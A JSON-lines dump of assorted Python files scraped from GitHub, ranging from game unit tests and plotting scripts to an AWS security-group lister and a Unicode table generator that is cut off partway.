TestPlayer(unittest.TestCase):\n name = 'Test'\n\n def test_make_move(self):\n player = Player(self.name)\n player.make_move(0)\n self.assertEqual(0, player.move)\n\n def test_get_move(self):\n player = Player(self.name)\n player.make_move(0)\n self.assertEqual(game_moves_map[0], player.get_move())\n\n def test_set_scored(self):\n player = Player(self.name)\n self.assertEqual(0, player.score)\n player.set_scored()\n self.assertEqual(1, player.score)\n player.set_scored()\n self.assertEqual(2, player.score)\n\n\nclass TestComputer(unittest.TestCase):\n def test_init(self):\n computer = Computer()\n self.assertEqual('Computer', computer.name)\n\n def test_make_move(self):\n computer = Computer()\n computer.make_move()\n self.assertLessEqual(computer.move, 2)\n self.assertGreaterEqual(computer.move, 0)\n\n\nclass TestGame(unittest.TestCase):\n name_a = 'Test_A'\n name_b = 'Test_B'\n rounds = 4\n\n def test_init(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n self.assertEqual(self.rounds, game.rounds)\n self.assertEqual(0, game.draws)\n\n def test_play_round(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n # Draw case\n player_a.make_move(0)\n player_b.make_move(0)\n winner = game.play_round()\n self.assertIsNone(winner)\n self.assertEqual(0, player_a.score)\n self.assertEqual(0, player_b.score)\n self.assertEqual(1, game.draws)\n\n # Player A wins\n player_a.make_move(1)\n player_b.make_move(0)\n winner = game.play_round()\n self.assertIsInstance(winner, Player)\n self.assertEqual(self.name_a, winner.name)\n self.assertEqual(1, player_a.score)\n self.assertEqual(0, player_b.score)\n self.assertEqual(1, game.draws)\n\n # Player B wins\n player_a.make_move(1)\n player_b.make_move(2)\n winner = game.play_round()\n self.assertIsInstance(winner, Player)\n self.assertEqual(self.name_b, winner.name)\n self.assertEqual(1, player_a.score)\n self.assertEqual(1, player_b.score)\n self.assertEqual(1, game.draws)\n\n def test_get_stats(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n # Draw case\n player_a.make_move(0)\n player_b.make_move(0)\n game.play_round()\n\n # Player A wins\n player_a.make_move(1)\n player_b.make_move(0)\n game.play_round()\n\n # Player B wins\n player_a.make_move(1)\n player_b.make_move(2)\n game.play_round()\n\n self.assertEqual(f'{self.name_a}:{self.name_b} - 1:1, 1 draw(s)', game.get_stats())\n","repo_name":"DenisMaley/rock-paper-scissors","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41550249205","text":"#### For plotting from reawrd values stored in files\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ny = np.loadtxt(\"test_eval_metric_per_rollout.txt\", unpack=True)\n\ny_new=[y_ for y_ in y if y_!=0]\nx=range(len(y_new))\nprint(x,y_new)\n\nplt.figure(1)\nplt.plot(x,y_new)\nplt.title('Eval metric')\nplt.xlabel('rollouts')\nplt.ylabel('Eval metric per rollout')\nplt.show()\n\n","repo_name":"leopauly/Observation-learning-Real-world","sub_path":"S2l/ECCV/Exp5_striking/plotter_eval_metric.py","file_name":"plotter_eval_metric.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15791000060","text":"\nimport sys\nimport numpy as np\nimport operator\nimport pandas as pd\nfrom lru import LRU\nimport ConfigParser\nimport logging\nimport tarfile\nimport datetime\nfrom os import listdir\nfrom os.path import isfile,join\nimport os\n##############################################################\n\n##Configurations\n#\noFile=\"fridgeLogs\"\npath=\"/mnt/raid0/traces/twosigma/perdayfiles\"\nlogFilePath=\"home/tsfridgeprod/log-snapshot/cache.log1\"\ntarFileName=\"fridgeLogs.tar.gz\"\n\n## Check file is a good file or not\n#\ndef isGoodFile(vmDir,tFile,fd):\n\tfor line in tFile:\n\t\tline=line.replace(\"\\n\",\"\")\n\t\t# Remove below line\n#\t\tline=\"{\"+line+\"}\"\n\t\tlineDict=eval(line)\n\t\tfullUrl = lineDict['url']\n\t\tif fullUrl == '/':\n\t\t\t# Not a good File\t\n\t\t\tbreak\n\t\telif lineDict['cache-reason'] != \"ok\":\n\t\t\tbreak \n\t\telse:\n\t\t\tif lineDict['method'] == \"GET\" and \"read\" in lineDict['url']:\n\t\t\t\tfd.write(vmDir+','+line+\"\\n\")\n\n\n# Extract cache-log files\ndef getCacheLogFile(path):\n\tfd=open(oFile,\"w\")\n\tfor vmDir in listdir(path):\n\t\ttry:\n\t\t\ttDir= tarfile.open( join(join(path,vmDir),\"logs.tar.gz\"),'r:gz')\n\t\t\tfor tFile in tDir:\n\t\t\t\tif tFile.name == logFilePath:\n\t\t\t\t\tlFile = tDir.extractfile(tFile)\n\t\t\t\t\tisGoodFile(vmDir,lFile,fd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\texcept:\n\t\t\tcontinue\n\n\tfd.close()\n\n\n\ndef archieveCacheLogFile(output_filename,source_dir):\n with tarfile.open(output_filename, \"w:gz\") as tar:\n tar.add(source_dir, arcname=os.path.basename(source_dir))\n\n\nif __name__ == \"__main__\":\n\n\tgetCacheLogFile(path)\n\tarchieveCacheLogFile(tarFileName,oFile)\n\t\n","repo_name":"ekaynar/Benchmarks","sub_path":"analysis/fridgeParser.py","file_name":"fridgeParser.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"5210705517","text":"\"\"\"\n\n\"\"\"\n\nimport collections\n\ndef check_occurence(string):\n if len(string) == 0:\n return \"NO\"\n if len(string) == 1:\n return \"YES\"\n count = collections.Counter(string)\n if len(count) == 1:\n return \"YES\"\n if len(count) == 2:\n return \"YES\"\n if len(count) > 2:\n return \"NO\"\n\nif __name__ == \"__main__\":\n T = int(input())\n for _ in range(T):\n string = input()\n print(check_occurence(string))","repo_name":"Harish-Muralidhar/Benchmark_Test_To_Analyze_Performance_Of_Code_Generating_Foundation_Models","sub_path":"generated_codes/experiment_c/parameter_set_2/single_sample/python_files/45.py","file_name":"45.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"25874217584","text":"import socket\n\nPORT = 5050\nFORMAT = \"utf-8\"\nDISCONNECT_MESSEGE = \"!DISCONNECT\"\nSERVER = \"192.168.56.1\"\nADDR = (SERVER, PORT)\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(ADDR)\n\nmsg = client.recv(1024)\nprint(msg.decode(FORMAT))\n","repo_name":"RogersLj/Computer-Networking-A-Top-Down-Approach-Homework","sub_path":"Socket_Programming/Lab1_WebServerLab/part 1 - sending and receiving data/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30433773094","text":"from pandas import DataFrame, ExcelWriter\r\nimport openpyxl\r\n\r\nclass Pandawriter:\r\n\t\"\"\"\r\n\tClass writer takes care of writing the collected infromation from the scd file into the xls file\r\n\t\"\"\"\r\n\tscd = None\r\n\tlist_of_IEDs = []\r\n\tdatascd = None\r\n\tdataIED = DataFrame()\r\n\tEWriter = None\r\n\r\n\t@staticmethod\r\n\tdef load(scd, list_of_IEDs):\r\n\t\t\"\"\"\r\n\t\tStatic method load accepts the scd content object and list of processed IEDS\r\n\t\t:param scd: scd content processed object to be written\r\n\t\t:param list_of_IEDs: list of processed IEDs to be written\r\n\t\t\"\"\"\r\n\t\tPandawriter.datascd = DataFrame(scd.values, index=[0])\r\n\r\n\t\tPandawriter.list_of_IEDs = list_of_IEDs\r\n\t\tfor IED in list_of_IEDs:\r\n\t\t\tdf = DataFrame(IED.values, index=[0])\r\n\t\t\tPandawriter.dataIED = Pandawriter.dataIED.append(df, ignore_index=True)\r\n\r\n\t@staticmethod\r\n\tdef write(path_file):\r\n\t\t\"\"\"\r\n\t\tMethod creates and ExcelWriter class and then writes the information loaded into the file at path\r\n\r\n\t\t:param path: file path\r\n\t\t\"\"\"\r\n\r\n\t\t# Pandawriter.datascd.to_excel(path_file, sheet_name='SCD META INFO')\r\n\r\n\t\tEWriter = ExcelWriter(path_file, engine='openpyxl')\r\n\t\tworkbook = EWriter.book\r\n\t\t#worksheet = workbook.add.worksheet('FILE INFO')\r\n\t\t#EWriter.sheets['FILE INFO'] = worksheet\r\n\t\tPandawriter.datascd.to_excel(EWriter, sheet_name=\"FILE INFO\", startrow=0, startcol=0)\r\n\r\n\t\tPandawriter.dataIED.to_excel(EWriter, sheet_name=\"FILE INFO\", startrow=5, startcol=0)\r\n\r\n\t\tfor IED in Pandawriter.list_of_IEDs:\r\n\t\t\tDataFrame().to_excel(EWriter, sheet_name=IED.values['name'])\r\n\r\n\t\tEWriter.save()\r\n\r\n\r\n\tdef append_df_to_excel(filename, df, sheet_name='Sheet1', startrow=None,\r\n\t\t\t\t\t\t truncate_sheet=False,\r\n\t\t\t\t\t\t **to_excel_kwargs):\r\n\t\t\"\"\"\r\n\t\tAppend a DataFrame [df] to existing Excel file [filename]\r\n\t\tinto [sheet_name] Sheet.\r\n\t\tIf [filename] doesn't exist, then this function will create it.\r\n\r\n\t\tParameters:\r\n\t\t filename : File path or existing ExcelWriter\r\n\t\t\t\t\t (Example: '/path/to/file.xlsx')\r\n\t\t df : dataframe to save to workbook\r\n\t\t sheet_name : Name of sheet which will contain DataFrame.\r\n\t\t\t\t\t (default: 'Sheet1')\r\n\t\t startrow : upper left cell row to dump data frame.\r\n\t\t\t\t\t Per default (startrow=None) calculate the last row\r\n\t\t\t\t\t in the existing DF and write to the next row...\r\n\t\t truncate_sheet : truncate (remove and recreate) [sheet_name]\r\n\t\t\t\t\t\t before writing DataFrame to Excel file\r\n\t\t to_excel_kwargs : arguments which will be passed to `DataFrame.to_excel()`\r\n\t\t\t\t\t\t\t[can be dictionary]\r\n\r\n\t\tReturns: None\r\n\t\t\"\"\"\r\n\t\tfrom openpyxl import load_workbook\r\n\r\n\t\timport pandas as pd\r\n\r\n\t\t# ignore [engine] parameter if it was passed\r\n\t\tif 'engine' in to_excel_kwargs:\r\n\t\t\tto_excel_kwargs.pop('engine')\r\n\r\n\t\twriter = pd.ExcelWriter(filename, engine='openpyxl')\r\n\r\n\t\t# Python 2.x: define [FileNotFoundError] exception if it doesn't exist\r\n\t\ttry:\r\n\t\t\tFileNotFoundError\r\n\t\texcept NameError:\r\n\t\t\tFileNotFoundError = IOError\r\n\r\n\t\ttry:\r\n\t\t\t# try to open an existing workbook\r\n\t\t\twriter.book = load_workbook(filename)\r\n\r\n\t\t\t# get the last row in the existing Excel sheet\r\n\t\t\t# if it was not specified explicitly\r\n\t\t\tif startrow is None and sheet_name in writer.book.sheetnames:\r\n\t\t\t\tstartrow = writer.book[sheet_name].max_row\r\n\r\n\t\t\t# truncate sheet\r\n\t\t\tif truncate_sheet and sheet_name in writer.book.sheetnames:\r\n\t\t\t\t# index of [sheet_name] sheet\r\n\t\t\t\tidx = writer.book.sheetnames.index(sheet_name)\r\n\t\t\t\t# remove [sheet_name]\r\n\t\t\t\twriter.book.remove(writer.book.worksheets[idx])\r\n\t\t\t\t# create an empty sheet [sheet_name] using old index\r\n\t\t\t\twriter.book.create_sheet(sheet_name, idx)\r\n\r\n\t\t\t# copy existing sheets\r\n\t\t\twriter.sheets = {ws.title: ws for ws in writer.book.worksheets}\r\n\t\texcept FileNotFoundError:\r\n\t\t\t# file does not exist yet, we will create it\r\n\t\t\tpass\r\n\r\n\t\tif startrow is None:\r\n\t\t\tstartrow = 0\r\n\r\n\t\t# write out the new sheet\r\n\t\tdf.to_excel(writer, sheet_name, startrow=startrow, **to_excel_kwargs)\r\n\r\n\t\t# save the workbook\r\n\t\twriter.save()","repo_name":"SpaceZZ/SCDReader","sub_path":"writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"71844774817","text":"# Given a singly linked list where elements are sorted in ascending order, convert it to a height balanced BST.\n#\n# For this problem, a height-balanced binary tree is defined as a binary tree\n# in which the depth of the two subtrees of every node never differ by more than 1.\n#\n# Example:\n# Given the sorted linked list: [-10,-3,0,5,9],\n# One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:\n#\n# 0\n# / \\\n# -3 9\n# / /\n# -10 5\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def sortedListToBST(self, head):\n array = self.convert_list_to_array(head)\n return self.convert_array_to_bst(array)\n\n def convert_list_to_array(self, head):\n res = []\n while head:\n res.append(head.val)\n head = head.next\n return res\n\n def convert_array_to_bst(self, xs):\n if not xs:\n return None\n\n root_index = int(len(xs) / 2)\n root = TreeNode(xs[root_index])\n root.left = self.convert_array_to_bst(xs[:root_index])\n root.right = self.convert_array_to_bst(xs[root_index+1:])\n\n return root\n\n\n\n\n\n","repo_name":"evanwangxx/leetcode","sub_path":"python/109. Convert Sorted List to Binary Search Tree.py","file_name":"109. Convert Sorted List to Binary Search Tree.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"40023588123","text":"\"\"\" Panoptes - AWS - Attached\n\nFunctions responsible for listing and grouping all attached security\ngroups within AWS resources.\n\"\"\"\n\nimport concurrent.futures\nimport boto3\nimport panoptes\n\n\ndef list_all_attached_secgroups(session: boto3.session.Session) -> list:\n \"\"\"\n Lists and groups all attached security groups within AWS resources\n \"\"\"\n all_attached_groups = []\n boto_clients = panoptes.aws.authentication.get_boto_clients(session)\n\n services_with_security_groups = [\n (list_ec2_attached_secgroups, boto_clients['ec2']),\n (list_eni_attached_secgroups, boto_clients['ec2']),\n (list_rds_attached_secgroups, boto_clients['rds']),\n (list_elb_attached_secgroups, boto_clients['elb']),\n (list_elbv2_attached_secgroups, boto_clients['elbv2']),\n (list_lambda_attached_secgroups, boto_clients['lambda']),\n (list_elasticache_attached_secgroups, boto_clients['elasticache']),\n (list_ecs_attached_secgroups, boto_clients['ecs']),\n ]\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n running_workers = []\n for list_attached_function in services_with_security_groups:\n running_workers.append(executor.submit(*list_attached_function))\n\n for future in concurrent.futures.as_completed(running_workers):\n all_attached_groups += future.result()\n return all_attached_groups\n\n\ndef list_ec2_attached_secgroups(ec2) -> list:\n \"\"\"\n List security groups attached to EC2 instances\n \"\"\"\n ec2_attached_groups = []\n boto_ec2_instances = ec2.describe_instances()\n for instance_obj in boto_ec2_instances['Reservations']:\n for instance in instance_obj['Instances']:\n for security_group in instance['SecurityGroups']:\n ec2_attached_groups.append(\n security_group['GroupId']\n )\n return ec2_attached_groups\n\n\ndef list_eni_attached_secgroups(ec2) -> list:\n \"\"\"\n List security groups attached to Elastic Network Interfaces\n \"\"\"\n network_interfaces = []\n next_token = None\n has_next = True\n while has_next:\n args = {'MaxResults': 1000}\n if next_token is not None:\n args['NextToken'] = next_token\n\n network_interfaces_result = ec2.describe_network_interfaces(**args)\n\n network_interfaces += network_interfaces_result['NetworkInterfaces']\n\n next_token = network_interfaces_result.get('NextToken')\n has_next = next_token is not None\n\n eni_attached_groups = [security_group['GroupId']\n for network_interface in network_interfaces\n for security_group in network_interface['Groups']]\n\n return eni_attached_groups\n\n\ndef list_rds_attached_secgroups(rds) -> list:\n \"\"\"\n List security groups attached to RDS instances\n \"\"\"\n rds_attached_groups = []\n boto_rds_instances = rds.describe_db_instances()\n for db_instance_obj in boto_rds_instances['DBInstances']:\n for security_group in db_instance_obj['VpcSecurityGroups']:\n rds_attached_groups.append(\n security_group['VpcSecurityGroupId']\n )\n return rds_attached_groups\n\n\ndef list_elb_attached_secgroups(elb) -> list:\n \"\"\"\n List security groups attached to Elastic Load Balancers\n \"\"\"\n elb_attached_groups = []\n boto_load_balancers = elb.describe_load_balancers()\n for elb_obj in boto_load_balancers['LoadBalancerDescriptions']:\n for security_group in elb_obj['SecurityGroups']:\n elb_attached_groups.append(\n security_group\n )\n return elb_attached_groups\n\n\ndef list_elbv2_attached_secgroups(elbv2) -> list:\n \"\"\"\n List security groups attached to Elastic Load Balancers V2\n \"\"\"\n elbv2_attached_groups = []\n boto_load_balancers = elbv2.describe_load_balancers()\n for elbv2_obj in boto_load_balancers['LoadBalancers']:\n if 'SecurityGroups' in elbv2_obj:\n for security_group in elbv2_obj['SecurityGroups']:\n elbv2_attached_groups.append(\n security_group\n )\n return elbv2_attached_groups\n\n\ndef list_lambda_attached_secgroups(lambda_aws) -> list:\n \"\"\"\n List security groups attached to Lambda functions\n \"\"\"\n lambda_attached_groups = []\n boto_lambda = lambda_aws.list_functions()\n for lambda_obj in boto_lambda['Functions']:\n if 'VpcConfig' in lambda_obj:\n for security_group in (\n lambda_obj['VpcConfig']['SecurityGroupIds']\n ):\n lambda_attached_groups.append(\n security_group\n )\n return lambda_attached_groups\n\n\ndef list_elasticache_attached_secgroups(ecache) -> list:\n \"\"\"\n List security groups attached to ElastiCache\n \"\"\"\n elasticache_attached_groups = []\n boto_elasticache = ecache.describe_cache_clusters()\n for elasticache_obj in boto_elasticache['CacheClusters']:\n for security_group in elasticache_obj['CacheSecurityGroups']:\n elasticache_attached_groups.append(\n security_group['CacheSecurityGroupName']\n )\n if 'SecurityGroups' in elasticache_obj:\n for security_group in elasticache_obj['SecurityGroups']:\n elasticache_attached_groups.append(\n security_group['SecurityGroupId']\n )\n try:\n boto_elasticache = ecache.describe_cache_security_groups()\n for elasticache_obj in boto_elasticache['CacheSecurityGroups']:\n for security_group in elasticache_obj['EC2SecurityGroups']:\n elasticache_attached_groups.append(\n security_group['EC2SecurityGroupName']\n )\n except Exception as e:\n pass\n return elasticache_attached_groups\n\n\ndef list_ecs_attached_secgroups(ecs) -> list:\n \"\"\"\n List security groups attached to ECS Services\n \"\"\"\n ecs_attached_groups = []\n\n ecs_clusters = [\n ecs_clusters for ecs_clusters in ecs.list_clusters()['clusterArns']\n ]\n\n ecs_cluster_services = []\n for cluster in ecs_clusters:\n boto_services = ecs.list_services(cluster=cluster)\n if boto_services['serviceArns']:\n ecs_cluster_services.append(\n {\n 'ClusterName': cluster,\n 'Services': boto_services['serviceArns'],\n }\n )\n\n ECS_SERVICE_API_LIMIT = 10\n for cluster in ecs_cluster_services:\n for i in range(0, len(cluster['Services']), ECS_SERVICE_API_LIMIT):\n boto_ecs = ecs.describe_services(\n cluster=cluster['ClusterName'],\n services=cluster['Services'][i:i+ECS_SERVICE_API_LIMIT]\n )\n for ecs_obj in boto_ecs['services']:\n if 'networkConfiguration' in ecs_obj:\n for security_group in (\n ecs_obj['networkConfiguration']['awsvpcConfiguration']['securityGroups']\n ):\n ecs_attached_groups.append(\n security_group\n )\n return ecs_attached_groups\n","repo_name":"tioxy/panoptes","sub_path":"panoptes/aws/attached.py","file_name":"attached.py","file_ext":"py","file_size_in_byte":7197,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"34"} +{"seq_id":"23526060096","text":"\"\"\" 9020 골드바흐의 추측 \"\"\"\r\n\"\"\" 2보다 큰 모든 짝수는 두 소수의 합으로 나타낼 수 있다는 추측\r\n앞서 푼 것들을 이용하면 시간초과에 걸리므로 소수 찾기부터 에라토스테네스의 체로 변경 \"\"\"\r\n\r\n\r\ndef prime_list(n):\r\n num = [True] * n\r\n\r\n for i in range(2, int(n**0.5) + 1): # 소수는 제곱근까지만 나눠보면 알 수 있음\r\n if num[i] == True:\r\n for j in range(i + i, n, i): # i 이후, i의 배수들은 모두 False\r\n num[j] = False\r\n\r\n return num\r\n\r\n\r\nT = int(input())\r\n\r\nfor i in range(T):\r\n num = int(input())\r\n anw = prime_list(num)\r\n\r\n for j in range(num // 2, 1, -1): # 절반 지점, 큰 수부터 확인\r\n if anw[j] == True and anw[num - j] == True:\r\n print(j, num - j)\r\n break\r\n","repo_name":"Kdelphinus/Python_study","sub_path":"Baekjoon/silver/silver II/9020_Goldbach's_conjecture.py","file_name":"9020_Goldbach's_conjecture.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"9891614994","text":"def coincidence(array = None,al = None):\n if array == None or al == None:\n array = []\n return array\n size = len(array)\n a = []\n for i in range(size):\n if((isinstance(array[i],int) == True or isinstance(array[i],float) == True)):\n if (array[i] <= max(al) and array[i] >= min(al)):\n a.append(array[i]) \n return a\n","repo_name":"provedov/lesson1","sub_path":"task_02.py","file_name":"task_02.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"29243437290","text":"#!/usr/bin/env python\nfrom __future__ import division\n\nimport argparse\nimport datetime\nimport math\nimport os.path\nimport sys\n\nclass Range(object):\n def __init__(self):\n self.ranges = []\n\n def append(self, cp_tuple):\n if len(self.ranges) > 0:\n last = self.ranges[-1]\n if last[1] + 1 == cp_tuple[0]:\n new_tuple = (last[0], cp_tuple[1])\n self.ranges[-1] = new_tuple\n return\n elif last[1] >= cp_tuple[0]:\n new_tuple = (min(last[0], cp_tuple[0]),\n max(last[1], cp_tuple[1]))\n self.ranges[-1] = new_tuple\n return\n self.ranges.append(cp_tuple)\n\n def __iter__(self):\n return iter(self.ranges)\n\n def __str__(self):\n return str(self.ranges)\n\n def __len__(self):\n return len(self.ranges)\n\n def __getitem__(self, key):\n return self.ranges[key]\n\ndef CompressRanges(ranges, right_bits):\n mask = (1 << right_bits) - 1\n mask_l = ~mask\n new_ranges = Range()\n for r in ranges:\n new_r = (r[0] & mask_l, r[1] | mask)\n new_ranges.append(new_r)\n return new_ranges\n\ndef FindInSortedRange(ranges, x, lo=0, hi=None):\n if hi is None:\n hi = len(ranges)\n if lo == hi:\n return lo\n m = (lo + hi) // 2\n if x < ranges[m][0]:\n return FindInSortedRange (ranges, x, lo, m)\n elif (m+1 < hi) and (x >= ranges[m+1][0]):\n return FindInSortedRange (ranges, x, m+1, hi)\n else:\n return m\n\ndef ParseProperties(filename, handler):\n with open(filename, \"r\") as f:\n for line in f:\n # Remove comment\n comment_pos = line.find ('#')\n if comment_pos >= 0: line = line[:comment_pos]\n line = line.strip()\n # Skip empty lines\n if not line: continue\n # Split line. Code points and properties are separated by ';'\n parts = line.split(';')\n for i, p in enumerate(parts):\n parts[i] = p.strip()\n # Might be a single code point, might be a range...\n codepoints = parts[0].split('..')\n # ...so always make sure it's a range\n if len(codepoints) == 1:\n codepoints[0] = int(codepoints[0], 16)\n codepoints.append(codepoints[0])\n else:\n codepoints[0] = int(codepoints[0], 16)\n codepoints[1] = int(codepoints[1], 16)\n parts[0] = tuple(codepoints)\n handler (parts)\n\ndef SplitRanges(ranges, right_bits):\n split = {}\n key_ranges = CompressRanges(ranges, right_bits)\n for r in ranges:\n for cp in range(r[0], r[1]+1):\n range_idx = FindInSortedRange (key_ranges, cp)\n assert(cp <= key_ranges[range_idx][1])\n key = key_ranges[range_idx]\n if not key in split:\n split[key] = ((key[1] - key[0] + 1 if right_bits > 0 else 0), [])\n split[key][1].append (cp)\n return split\n\n\n# Character sets\ndef PrintSetRanges(out_file, split, name, bytes_per_char):\n if bytes_per_char == 1:\n char_type = 'uint8_t'\n elif bytes_per_char == 2:\n char_type = 'Char16'\n else:\n char_type = 'Char32'\n print('static const {0} ucd_{1}[{2} * 2] = {{'.format (char_type, name, len(split)), file=out_file)\n for c in split:\n print('\\t{0}, {1},'.format (hex(c[0]), hex(c[1])), file=out_file)\n print(\"};\", file=out_file)\n\nOUTPUT_DIR = None\n\ndef ProcessSetRanges(ranges, name):\n print(name + \":\", file=sys.stderr)\n out_file = open (os.path.join (OUTPUT_DIR, '{0}.inc'.format (name)), \"w\")\n print('// Generated on {0} from Unicode {1} data'.format(datetime.datetime.now(), args.ucver), file=out_file)\n max_cp = 0\n for r in ranges:\n max_cp = max(max_cp, r[0], r[1])\n bytes_per_char = 1\n if max_cp >= 0x10000:\n bytes_per_char = 4\n elif max_cp >= 0x100:\n bytes_per_char = 2\n queries = int(math.ceil(math.log(len(ranges), 2)))\n print(\"queries:\", queries, file=sys.stderr)\n PrintSetRanges (out_file, ranges, name, bytes_per_char)\n\nclass Data_UI8_per_CP(object):\n type_str = 'uint8_t'\n\n def __init__(self, prop_map):\n self.prop_map = prop_map\n\n def WriteExtraMapDataDecl(self, out_file):\n return False\n\n def WriteExtraMapData(self, out_file):\n pass\n\n def StrForCP(self, cp):\n if cp in self.prop_map:\n val = self.prop_map[cp]\n else:\n val = 0\n return '{0:>3}'.format (val)\n\n @staticmethod\n def RangeDataSize(cp_range, prop_map):\n return (cp_range[1] - cp_range[0] + 1)\n\nclass Data_CP_Seq(object):\n type_str = 'uint32_t'\n\n def __init__(self, prop_map):\n self.prop_map = prop_map\n\n def _UTF16count(self, seq):\n n = 0\n for cp in seq:\n n += 1 if cp < 0x10000 else 2\n return n\n \n def WriteExtraMapDataDecl(self, out_file):\n self.ofs_for_cp = {}\n n = 0\n for cp in sorted(self.prop_map.keys()):\n seq = self.prop_map[cp]\n if len(seq) == 1: continue\n self.ofs_for_cp[cp] = n\n n += self._UTF16count(seq)\n print('\\tChar16 seqdata[{0}];'.format (n), file=out_file)\n return True\n\n def _UTF16convert(self, seq):\n seq_u16 = []\n for cp in seq:\n if cp < 0x10000:\n seq_u16.append(cp)\n else:\n cp -= 0x10000\n seq_u16.append(0xd800 | (cp >> 10))\n seq_u16.append(0xdc00 | (cp & 0x3ff))\n return seq_u16\n\n def WriteExtraMapData(self, out_file):\n print('\\t{', file=out_file)\n for cp in sorted(self.prop_map.keys()):\n seq = self.prop_map[cp]\n if len(seq) == 1: continue\n s = \"\"\n for seq_cp in self._UTF16convert(seq):\n s = s + '{0}, '.format (hex (seq_cp))\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n print('\\t},', file=out_file)\n\n def StrForCP(self, cp):\n if cp in self.prop_map:\n seq = self.prop_map[cp]\n if cp in self.ofs_for_cp:\n val = self.ofs_for_cp[cp] | ((self._UTF16count(seq)-1) << 24)\n else:\n val = seq[0]\n else:\n val = 0\n return hex(val)\n\n @staticmethod\n def RangeDataSize(cp_range, prop_map):\n num_ui32 = 0\n for cp in range(cp_range[0], cp_range[1]):\n if not cp in prop_map:\n num_ui32 += 1\n continue\n mapped_seq = prop_map[cp]\n if len(mapped_seq) == 1:\n num_ui32 += 1\n else:\n num_ui32 += 1 + len(mapped_seq)\n return num_ui32 * 4\n\n# Character maps\ndef PrintMapRanges(out_file, prop_map, ranges, name, bytes_per_char, datatype):\n if bytes_per_char == 1:\n char_type = 'uint8_t'\n elif bytes_per_char == 2:\n char_type = 'Char16'\n else:\n char_type = 'Char32'\n\n data_size = 0\n for c in ranges:\n data_size = data_size + c[1] - c[0] + 1\n\n save_data = datatype (prop_map)\n\n # Map data struct\n print('static const struct _ucd_{0}'.format (name), file=out_file)\n print('{', file=out_file)\n print('\\t{0} key[{1}*2];'.format (char_type, len(ranges)), file=out_file)\n print('\\tunsigned int idx[{0}];'.format (len(ranges)), file=out_file)\n print('\\t{0} data[{1}];'.format (datatype.type_str, data_size), file=out_file)\n have_extra_data = save_data.WriteExtraMapDataDecl(out_file)\n print('}} ucd_{0} = {{'.format (name), file=out_file)\n\n print('\\t{', file=out_file)\n for c in ranges:\n print('\\t\\t{0}, {1},'.format (hex(c[0]), hex(c[1])), file=out_file)\n print('\\t},', file=out_file)\n print('\\t{', file=out_file)\n i = 0\n for c in ranges:\n print('\\t\\t{0},'.format (i), file=out_file)\n i = i + c[1] - c[0] + 1\n print('\\t},', file=out_file)\n print('\\t{', file=out_file)\n for c in ranges:\n print('\\t\\t// {0} - {1}'.format (hex(c[0]), hex(c[1])), file=out_file)\n n = 0\n s = \"\"\n for cp in range(c[0], c[1]+1):\n if s and (n % 8 == 0):\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n s = ''\n s = s + save_data.StrForCP (cp) + ', '\n n = n + 1\n if s:\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n if have_extra_data:\n print('\\t}, ', file=out_file)\n else:\n print('\\t}', file=out_file)\n save_data.WriteExtraMapData(out_file)\n print('};', file=out_file)\n\ndef ProcessMap(prop_map, name, datatype):\n print(name + \":\", file=sys.stderr)\n out_file = open (os.path.join (OUTPUT_DIR, '{0}.inc'.format (name)), \"w\")\n print('// Generated on {0} from Unicode {1} data'.format(datetime.datetime.now(), args.ucver), file=out_file)\n max_cp = 0\n char_ranges = Range()\n for cp in sorted(prop_map):\n max_cp = max(max_cp, cp)\n char_ranges.append ((cp, cp))\n bytes_per_char = 1\n if max_cp >= 0x10000:\n bytes_per_char = 4\n elif max_cp >= 0x100:\n bytes_per_char = 2\n max_bits = int(math.ceil(math.log(max_cp, 2)))\n min_size = 0x7fffffff\n min_b = 0\n min_ranges = []\n for b in range(0, max_bits+1):\n compressed_ranges = CompressRanges (char_ranges, b)\n queries = int(math.ceil(math.log(len(compressed_ranges), 2)))\n # For each range need at least two CPs and a pointer\n s = len(compressed_ranges) * (bytes_per_char * 2 + 4)\n for r in compressed_ranges:\n s = s + datatype.RangeDataSize (r, prop_map)\n print(b, queries, s, file=sys.stderr)\n if s < min_size:\n min_size = s\n min_b = b\n 